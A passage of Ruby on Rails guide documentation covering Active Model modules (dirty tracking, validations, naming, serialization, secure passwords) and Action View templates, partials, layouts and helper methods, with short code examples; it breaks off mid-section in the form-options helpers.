class Person
include ActiveModel::Conversion

def persisted?
false
end

def id
nil
end
end

person = Person.new
person.to_model == person  # => true
person.to_key              # => nil
person.to_param            # => nil

1.4 Dirty

An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. ActiveModel::Dirty gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name:

class Person
include ActiveModel::Dirty
define_attribute_methods :first_name, :last_name

def first_name
@first_name
end

def first_name=(value)
first_name_will_change!
@first_name = value
end

def last_name
@last_name
end

def last_name=(value)
last_name_will_change!
@last_name = value
end

def save
# do save work...
changes_applied
end
end

1.4.1 Querying object directly for its list of all changed attributes.

person = Person.new
person.changed? # => false

person.first_name = "First Name"
person.first_name # => "First Name"

# returns true if any of the attributes have unsaved changes, false otherwise.
person.changed? # => true

# returns a list of attributes that have changed before saving.
person.changed # => ["first_name"]

# returns a hash of the attributes that have changed with their original values.
person.changed_attributes # => {"first_name"=>nil}

# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
person.changes # => {"first_name"=>[nil, "First Name"]}

1.4.2 Attribute based accessor methods

Track whether the particular attribute has been changed or not.

# attr_name_changed?
person.first_name # => "First Name"
person.first_name_changed? # => true

Track what was the previous value of the attribute.

# attr_name_was accessor
person.first_name_was # => nil

Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.

# attr_name_change
person.first_name_change # => [nil, "First Name"]
person.last_name_change # => nil

1.5 Validations

The ActiveModel::Validations module adds the ability to validate class objects like in Active Record.

class Person
include ActiveModel::Validations

attr_accessor :name, :email, :token

validates :name, presence: true
validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
validates! :token, presence: true
end

person = Person.new
person.token = "2b1f325"
person.valid?                        # => false
person.name = 'vishnu'
person.email = 'me'
person.valid?                        # => false
person.email = 'me@vishnuatrai.com'
person.valid?                        # => true
person.token = nil
person.valid?                        # => raises ActiveModel::StrictValidationFailed

1.6 Naming

ActiveModel::Naming adds a number of class methods which make the naming and routing easier to manage. The module defines the model_name class method which will define a number of accessors using some ActiveSupport::Inflector methods.

class Person
extend ActiveModel::Naming
end

Person.model_name.name                # => "Person"
Person.model_name.singular            # => "person"
Person.model_name.plural              # => "people"
Person.model_name.element             # => "person"
Person.model_name.human               # => "Person"
Person.model_name.collection          # => "people"
Person.model_name.param_key           # => "person"
Person.model_name.i18n_key            # => :person
Person.model_name.route_key           # => "people"
Person.model_name.singular_route_key  # => "person"

1.7 Model

ActiveModel::Model adds the ability to a class to work with Action Pack and Action View right out of the box.

class EmailContact
include ActiveModel::Model

attr_accessor :name, :email, :message
validates :name, :email, :message, presence: true

def deliver
if valid?
# deliver email
end
end
end

When including ActiveModel::Model you get some features like:

- model name introspection

- conversions

- translations

- validations

It also gives you the ability to initialize an object with a hash of attributes, much like any Active Record object.

email_contact = EmailContact.new(name: 'David',
email: 'david@example.com',
message: 'Hello World')
email_contact.name       # => 'David'
email_contact.email      # => 'david@example.com'
email_contact.valid?     # => true
email_contact.persisted? # => false

Any class that includes ActiveModel::Model can be used with form_for, render and any other Action View helper methods, just like Active Record objects.

1.8 Serialization

ActiveModel::Serialization provides basic serialization for your object. You need to declare an attributes hash which contains the attributes you want to serialize. Attributes must be strings, not symbols.

class Person
include ActiveModel::Serialization

attr_accessor :name

def attributes
{'name' => nil}
end
end

Now you can access a serialized hash of your object using the serializable_hash.

person = Person.new
person.serializable_hash   # => {"name"=>nil}
person.name = "Bob"
person.serializable_hash   # => {"name"=>"Bob"}

1.8.1 ActiveModel::Serializers

Rails provides an ActiveModel::Serializers::JSON serializer. This module automatically include the ActiveModel::Serialization.

1.8.1.1 ActiveModel::Serializers::JSON

To use the ActiveModel::Serializers::JSON you only need to change from ActiveModel::Serialization to ActiveModel::Serializers::JSON.

class Person
include ActiveModel::Serializers::JSON

attr_accessor :name

def attributes
{'name' => nil}
end
end

With the as_json method you have a hash representing the model.

person = Person.new
person.as_json # => {"name"=>nil}
person.name = "Bob"
person.as_json # => {"name"=>"Bob"}

From a JSON string you define the attributes of the model. You need to have the attributes= method defined on your class:

class Person
include ActiveModel::Serializers::JSON

attr_accessor :name

def attributes=(hash)
hash.each do |key, value|
send("#{key}=", value)
end
end

def attributes
{'name' => nil}
end
end

Now it is possible to create an instance of person and set the attributes using from_json.

json = { name: 'Bob' }.to_json
person = Person.new
person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
person.name            # => "Bob"

1.9 Translation

ActiveModel::Translation provides integration between your object and the Rails internationalization (i18n) framework.

class Person
extend ActiveModel::Translation
end

With the human_attribute_name you can transform attribute names into a more human format. The human format is defined in your locale file.

- config/locales/app.pt-BR.yml

pt-BR:
activemodel:
attributes:
person:
name: 'Nome'

Person.human_attribute_name('name') # => "Nome"

1.10 Lint Tests

ActiveModel::Lint::Tests allows you to test whether an object is compliant with the Active Model API.

- app/models/person.rb

class Person
include ActiveModel::Model

end

- test/models/person_test.rb

require 'test_helper'

class PersonTest < ActiveSupport::TestCase
include ActiveModel::Lint::Tests

setup do
@model = Person.new
end
end

$ rails test

Run options: --seed 14596

# Running:

......

Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.

6 runs, 30 assertions, 0 failures, 0 errors, 0 skips

An object is not required to implement all APIs in order to work with Action Pack. This module only intends to provide guidance in case you want all features out of the box.

1.11 SecurePassword

ActiveModel::SecurePassword provides a way to securely store any password in an encrypted form. On including this module, a has_secure_password class method is provided which defines an accessor named password with certain validations on it.

1.11.1 Requirements

ActiveModel::SecurePassword depends on bcrypt, so include this gem in your Gemfile to use ActiveModel::SecurePassword correctly. In order to make this work, the model must have an accessor named password_digest. The has_secure_password will add the following validations on the password accessor:

1. Password should be present.

2. Password should be equal to its confirmation.

3. The maximum length of a password is 72 (required by bcrypt on which ActiveModel::SecurePassword depends)

1.11.2 Examples

class Person
include ActiveModel::SecurePassword
has_secure_password
attr_accessor :password_digest
end

person = Person.new

# When password is blank.
person.valid? # => false

# When the confirmation doesn't match the password.
person.password = 'aditya'
person.password_confirmation = 'nomatch'
person.valid? # => false

# When the length of password exceeds 72.
person.password = person.password_confirmation = 'a' * 100
person.valid? # => false

# When all validations are passed.
person.password = person.password_confirmation = 'aditya'
person.valid? # => true

Action View Overview — Ruby on Rails...

1 What is Action View?

In Rails, web requests are handled by Action Controller and Action View. Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.

Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.

Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.

2 Using Action View with Rails

For each controller there is an associated directory in the app/views directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.

Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:

$ bin/rails generate scaffold article
[...]
invoke  scaffold_controller
create    app/controllers/articles_controller.rb
invoke    erb
create      app/views/articles
create      app/views/articles/index.html.erb
create      app/views/articles/edit.html.erb
create      app/views/articles/show.html.erb
create      app/views/articles/new.html.erb
create      app/views/articles/_form.html.erb
[...]

There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. For example, the index controller action of the articles_controller.rb will use the index.html.erb view file in the app/views/articles directory. The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.

3 Templates, Partials and Layouts

As mentioned, the final HTML output is a composition of three Rails elements: Templates, Partials and Layouts. Below is a brief overview of each of them.

3.1 Templates

Action View templates can be written in several ways. If the template file has a .erb extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a .builder extension then the Builder::XmlMarkup library is used.

Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have .html.erb as a file extension.

3.1.1 ERB

Within an ERB template, Ruby code can be included using both <% %> and <%= %> tags. The <% %> tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the <%= %> tags are used when you want output.

Consider the following loop for names:

<h1>Names of all the people</h1>
<% @people.each do |person| %>
Name: <%= person.name %><br>
<% end %>

The loop is set up using regular embedding tags (<% %>) and the name is inserted using the output embedding tags (<%= %>). Note that this is not just a usage suggestion: regular output functions such as print and puts won't be rendered to the view with ERB templates. So this would be wrong:

<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>

To suppress leading and trailing whitespaces, you can use <%- -%> interchangeably with <% and %>.

3.1.2 Builder

Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named xml is automatically made available to templates with a .builder extension.

Here are some basic examples:

xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href" => "http://rubyonrails.org")
xml.target("name" => "compile", "option" => "fast")

which would produce:

<em>emphasized</em>
<em><b>emph &amp; bold</b></em>
<a href="http://rubyonrails.org">A link</a>
<target option="fast" name="compile" />

Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:

xml.div {
xml.h1(@person.name)
xml.p(@person.bio)
}

would produce something like:

<div>
<h1>David Heinemeier Hansson</h1>
<p>A product of Danish Design during the Winter of '79...</p>
</div>

Below is a full-length RSS example actually used on Basecamp:

xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
xml.channel do
xml.title(@feed_title)
xml.link(@url)
xml.description "Basecamp: Recent items"
xml.language "en-us"
xml.ttl "40"

for item in @recent_items
xml.item do
xml.title(item_title(item))
xml.description(item_description(item)) if item_description(item)
xml.pubDate(item_pubDate(item))
xml.guid(@person.firm.account.url + @recent_items.url(item))
xml.link(@person.firm.account.url + @recent_items.url(item))
xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
end
end
end
end

3.1.3 Jbuilder

Jbuilder is a gem that's maintained by the Rails team and included in the default Rails Gemfile. It's similar to Builder, but is used to generate JSON, instead of XML.

If you don't have it, you can add the following to your Gemfile:

gem 'jbuilder'

A Jbuilder object named json is automatically made available to templates with a .jbuilder extension.

Here is a basic example:

json.name("Alex")
json.email("alex@example.com")

would produce:

{
"name": "Alex",
"email": "alex@example.com"
}

See the Jbuilder documentation for more examples and information.

3.1.4 Template Caching

By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.

3.2 Partials

Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.

3.2.1 Naming Partials

To render a partial as part of a view, you use the render method within the view:

<%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:

<%= render "shared/menu" %>

That code will pull in the partial from app/views/shared/_menu.html.erb.

3.2.2 Using Partials to simplify Views

One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:

<%= render "shared/ad_banner" %>

<h1>Products</h1>

<p>Here are a few of our fine products:</p>
<% @products.each do |product| %>
<%= render partial: "product", locals: { product: product } %>
<% end %>

<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.

3.2.3 render without partial and locals options

In the above example, render takes 2 options: partial and locals. But if these are the only options you want to pass, you can skip using these options. For example, instead of:

<%= render partial: "product", locals: { product: @product } %>

You can also do:

<%= render "product", product: @product %>

3.2.4 The as and object options

By default ActionView::Partials::PartialRenderer has its object in a local variable with the same name as the template. So, given:

<%= render partial: "product" %>

within _product partial we'll get @product in the local variable product, as if we had written:

<%= render partial: "product", locals: { product: @product } %>

With the as option we can specify a different name for the local variable. For example, if we wanted it to be item instead of product we would do:

<%= render partial: "product", as: "item" %>

The object option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable).

For example, instead of:

<%= render partial: "product", locals: { product: @item } %>

we would do:

<%= render partial: "product", object: @item %>

The object and as options can also be used together:

<%= render partial: "product", object: @item, as: "item" %>

3.2.5 Rendering Collections

It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.

So this example for rendering all the products:

<% @products.each do |product| %>
<%= render partial: "product", locals: { product: product } %>
<% end %>

can be rewritten in a single line:

<%= render partial: "product", collection: @products %>

When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within it you can refer to product to get the collection member that is being rendered.

You can use a shorthand syntax for rendering collections. Assuming @products is a collection of Product instances, you can simply write the following to produce the same result:

<%= render @products %>

Rails determines the name of the partial to use by looking at the model name in the collection, Product in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.

3.2.6 Spacer Templates

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

<%= render partial: @products, spacer_template: "product_ruler" %>

Rails will render the _product_ruler partial (with no data passed to it) between each pair of _product partials.

3.3 Layouts

Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the Layouts and Rendering in Rails guide.

4 Partial Layouts

Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.

Let's say we're displaying an article on a page which should be wrapped in a div for display purposes. Firstly, we'll create a new Article:

Article.create(body: 'Partial Layouts are cool!')

In the show template, we'll render the _article partial wrapped in the box layout:

articles/show.html.erb

<%= render partial: 'article', layout: 'box', locals: { article: @article } %>

The box layout simply wraps the _article partial in a div:

articles/_box.html.erb

<div class='box'>
<%= yield %>
</div>

Note that the partial layout has access to the local article variable that was passed into the render call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.

You can also render a block of code within a partial layout instead of calling yield. For example, if we didn't have the _article partial, we could do this instead:

articles/show.html.erb

<% render(layout: 'box', locals: { article: @article }) do %>
<div>
<p><%= article.body %></p>
</div>
<% end %>

Supposing we use the same _box partial from above, this would produce the same output as the previous example.

5 View Paths

When rendering a response, the controller needs to resolve where the different views are located. By default it only looks inside the app/views directory.

We can add other locations and give them a certain precedence when resolving paths using the prepend_view_path and append_view_path methods.

5.1 Prepend view path

This can be helpful for example, when we want to put views inside a different directory for subdomains.

We can do this by using:

prepend_view_path "app/views/#{request.subdomain}"

Then Action View will look first in this directory when resolving views.

5.2 Append view path

Similarly, we can append paths:

append_view_path "app/views/direct"

This will add app/views/direct to the end of the lookup paths.

6 Overview of helpers provided by Action View

WIP: Not all the helpers are listed here. For a full list see the API documentation

The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.

6.1 AssetTagHelper

This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.

By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting config.action_controller.asset_host in the application configuration, typically in config/environments/production.rb. For example, let's say your asset host is assets.example.com:

config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />

6.1.1 auto_discovery_link_tag

Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.

auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # =>
<link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />

6.1.2 image_path

Computes the path to an image asset in the app/assets/images directory. Full paths from the document root will be passed through. Used internally by image_tag to build the image path.

image_path("edit.png") # => /assets/edit.png

Fingerprint will be added to the filename if config.assets.digest is set to true.

image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png

6.1.3 image_url

Computes the URL to an image asset in the app/assets/images directory. This will call image_path internally and merge with your current host or your asset host.

image_url("edit.png") # => http://www.example.com/assets/edit.png

6.1.4 image_tag

Returns an HTML image tag for the source. The source can be a full path or a file that exists in your app/assets/images directory.

image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />

6.1.5 javascript_include_tag

Returns an HTML script tag for each of the sources provided. You can pass in the filename (.js extension is optional) of JavaScript files that exist in your app/assets/javascripts directory for inclusion into the current page or you can pass the full path relative to your document root.

javascript_include_tag "common" # => <script src="/assets/common.js"></script>

If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass :defaults as the source. When using :defaults, if an application.js file exists in your app/assets/javascripts directory, it will be included as well.

javascript_include_tag :defaults

You can also include all JavaScript files in the app/assets/javascripts directory using :all as the source.

javascript_include_tag :all

You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).

javascript_include_tag :all, cache: true # =>
<script src="/javascripts/all.js"></script>

6.1.6 javascript_path

Computes the path to a JavaScript asset in the app/assets/javascripts directory. If the source filename has no extension, .js will be appended. Full paths from the document root will be passed through. Used internally by javascript_include_tag to build the script path.

javascript_path "common" # => /assets/common.js

6.1.7 javascript_url

Computes the URL to a JavaScript asset in the app/assets/javascripts directory. This will call javascript_path internally and merge with your current host or your asset host.

javascript_url "common" # => http://www.example.com/assets/common.js

6.1.8 stylesheet_link_tag

Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, .css will be appended automatically.

stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />

You can also include all styles in the stylesheet directory using :all as the source:

stylesheet_link_tag :all

You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).

stylesheet_link_tag :all, cache: true
# => <link href="/assets/all.css" media="screen" rel="stylesheet" />

6.1.9 stylesheet_path

Computes the path to a stylesheet asset in the app/assets/stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.

stylesheet_path "application" # => /assets/application.css

6.1.10 stylesheet_url

Computes the URL to a stylesheet asset in the app/assets/stylesheets directory. This will call stylesheet_path internally and merge with your current host or your asset host.

stylesheet_url "application" # => http://www.example.com/assets/application.css

6.2 AtomFeedHelper

6.2.1 atom_feed

This helper makes building an Atom feed easy. Here's a full usage example:

config/routes.rb

resources :articles

app/controllers/articles_controller.rb

def index
@articles = Article.all

respond_to do |format|
format.html
format.atom
end
end

app/views/articles/index.atom.builder

atom_feed do |feed|
feed.title("Articles Index")
feed.updated(@articles.first.created_at)

@articles.each do |article|
feed.entry(article) do |entry|
entry.title(article.title)
entry.content(article.body, type: 'html')

entry.author do |author|
author.name(article.author_name)
end
end
end
end

6.3 BenchmarkHelper

6.3.1 benchmark

Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.

<% benchmark "Process data files" do %>
<%= expensive_files_operation %>
<% end %>

This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.

6.4 CacheHelper

6.4.1 cache

A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See AbstractController::Caching::Fragments for more information.

<% cache do %>
<%= render "shared/footer" %>
<% end %>

6.5 CaptureHelper

6.5.1 capture

The capture method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.

<% @greeting = capture do %>
<p>Welcome! The date and time is <%= Time.now %></p>
<% end %>

The captured variable can then be used anywhere else.

<html>
<head>
<title>Welcome!</title>
</head>
<body>
<%= @greeting %>
</body>
</html>

6.5.2 content_for

Calling content_for stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to yield.

For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use content_for to include this JavaScript on our special page without fattening up the rest of the site.

app/views/layouts/application.html.erb

<html>
<head>
<title>Welcome!</title>
<%= yield :special_script %>
</head>
<body>
<p>Welcome! The date and time is <%= Time.now %></p>
</body>
</html>

app/views/articles/special.html.erb

<p>This is a special page.</p>

<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>

6.6 DateHelper

6.6.1 date_select

Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.

date_select("article", "published_on")

6.6.2 datetime_select

Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.

datetime_select("article", "published_on")

6.6.3 distance_of_time_in_words

Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set include_seconds to true if you want more detailed approximations.

distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds

6.6.4 select_date

Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the date provided.

# Generates a date select that defaults to the date provided (six days after today)
select_date(Time.today + 6.days)

# Generates a date select that defaults to today (no specified date)
select_date()

6.6.5 select_datetime

Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the datetime provided.

# Generates a datetime select that defaults to the datetime provided (four days after today)
select_datetime(Time.now + 4.days)

# Generates a datetime select that defaults to today (no specified datetime)
select_datetime()

6.6.6 select_day

Returns a select tag with options for each of the days 1 through 31 with the current day selected.

# Generates a select field for days that defaults to the day for the date provided
select_day(Time.today + 2.days)

# Generates a select field for days that defaults to the number given
select_day(5)

6.6.7 select_hour

Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.

# Generates a select field for hours that defaults to the hours for the time provided
select_hour(Time.now + 6.hours)

6.6.8 select_minute

Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.

# Generates a select field for minutes that defaults to the minutes for the time provided.
select_minute(Time.now + 10.minutes)

6.6.9 select_month

Returns a select tag with options for each of the months January through December with the current month selected.

# Generates a select field for months that defaults to the current month
select_month(Date.today)

6.6.10 select_second

Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.

# Generates a select field for seconds that defaults to the seconds for the time provided
select_second(Time.now + 16.seconds)

6.6.11 select_time

Returns a set of HTML select-tags (one for hour and minute).

# Generates a time select that defaults to the time provided
select_time(Time.now)

6.6.12 select_year

Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the :start_year and :end_year keys in the options.

# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)

# Generates a select field from 1900 to 2009 that defaults to the current year
select_year(Date.today, start_year: 1900, end_year: 2009)

6.6.13 time_ago_in_words

Like distance_of_time_in_words, but where to_time is fixed to Time.now.

time_ago_in_words(3.minutes.from_now)  # => 3 minutes

6.6.14 time_select

Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.

# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
time_select("order", "submitted")

6.7 DebugHelper

Returns a pre tag that has object dumped by YAML. This creates a very readable way to inspect an object.

my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
debug(my_hash)

<pre class='debug_dump'>---
first: 1
second: two
third:
- 1
- 2
- 3
</pre>

6.8 FormHelper

Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.

There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation.

The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it:

# Note: a @person variable will have been created in the controller (e.g. @person = Person.new)
<%= form_for @person, url: { action: "create" } do |f| %>
<%= f.text_field :first_name %>
<%= f.text_field :last_name %>
<%= submit_tag 'Create' %>
<% end %>

The HTML generated for this would be:

<form action="/people/create" method="post">
<input id="person_first_name" name="person[first_name]" type="text" />
<input id="person_last_name" name="person[last_name]" type="text" />
<input name="commit" type="submit" value="Create" />
</form>

The params object created when this form is submitted would look like:

{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }

The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.

6.8.1 check_box

Returns a checkbox tag tailored for accessing a specified attribute.

# Let's say that @article.validated? is 1:
check_box("article", "validated")
# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
#    <input name="article[validated]" type="hidden" value="0" />

6.8.2 fields_for

Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:

<%= form_for @person, url: { action: "update" } do |person_form| %>
First name: <%= person_form.text_field :first_name %>
Last name : <%= person_form.text_field :last_name %>

<%= fields_for @person.permission do |permission_fields| %>
Admin?  : <%= permission_fields.check_box :admin %>
<% end %>
<% end %>

6.8.3 file_field

Returns a file upload input tag tailored for accessing a specified attribute.

file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />

6.8.4 form_for

Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.

<%= form_for @article do |f| %>
<%= f.label :title, 'Title' %>:
<%= f.text_field :title %><br>
<%= f.label :body, 'Body' %>:
<%= f.text_area :body %><br>
<% end %>

6.8.5 hidden_field

Returns a hidden input tag tailored for accessing a specified attribute.

hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />

6.8.6 label

Returns a label tag tailored for labelling an input field for a specified attribute.

label(:article, :title)
# => <label for="article_title">Title</label>

6.8.7 password_field

Returns an input tag of the "password" type tailored for accessing a specified attribute.

password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />

6.8.8 radio_button

Returns a radio button tag for accessing a specified attribute.

# Let's say that @article.category returns "rails":
radio_button("article", "category", "rails")
radio_button("article", "category", "java")
# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
#    <input type="radio" id="article_category_java" name="article[category]" value="java" />

6.8.9 text_area

Returns a textarea opening and closing tag set tailored for accessing a specified attribute.

text_area(:comment, :text, size: "20x30")
# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
#      #{@comment.text}
#    </textarea>

6.8.10 text_field

Returns an input tag of the "text" type tailored for accessing a specified attribute.

text_field(:article, :title)
# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />

6.8.11 email_field

Returns an input tag of the "email" type tailored for accessing a specified attribute.

email_field(:user, :email)
# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />

6.8.12 url_field

Returns an input tag of the "url" type tailored for accessing a specified attribute.

url_field(:user, :url)
# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />

6.9 FormOptionsHelper

Provides a number of methods for turning different kinds of containers into a set of option tags.

6.9.1 collection_select

Returns select and option tags for the collection of existing return values of method for object's class.

Example object structure for use with this method:

class Article < ApplicationRecord
belongs_to :author
end

class Author < ApplicationRecord
has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Author for an instance of Article, @article):

collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true })

If @article.author_id is 1, this would return:

<select name="article[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</option>
<option value="2">D. Thomas</option>
<option value="3">M. Clark</option>
</select>

6.9.2 collection_radio_buttons

Returns radio_button tags for the collection of existing return values of method for object's class.

Example object structure for use with this method:

class Article < ApplicationRecord
belongs_to :author
end

class Author < ApplicationRecord
has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Author for an instance of Article, @article):

collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)

If @article.author_id is 1, this would return:

<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
<label for="article_author_id_1">D. Heinemeier Hansson</label>
<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
<label for="article_author_id_2">D. Thomas</label>
<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
<label for="article_author_id_3">M. Clark</label>

6.9.3 collection_check_boxes

Returns check_box tags for the collection of existing return values of method for object's class.

Example object structure for use with this method:

class Article < ApplicationRecord
has_and_belongs_to_many :authors
end

class Author < ApplicationRecord
has_and_belongs_to_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Authors for an instance of Article, @article):

collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)

If @article.author_ids is [1], this would return:

<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
<label for="article_author_ids_1">D. Heinemeier Hansson</label>
<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
<label for="article_author_ids_2">D. Thomas</label>
<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
<label for="article_author_ids_3">M. Clark</label>
<input name="article[author_ids][]" type="hidden" value="" />

6.9.4 option_groups_from_collection_for_select

Returns a string of option tags, like options_from_collection_for_select, but groups them by optgroup tags based on the object relationships of the arguments.

Example object structure for use with this method:

class Continent < ApplicationRecord
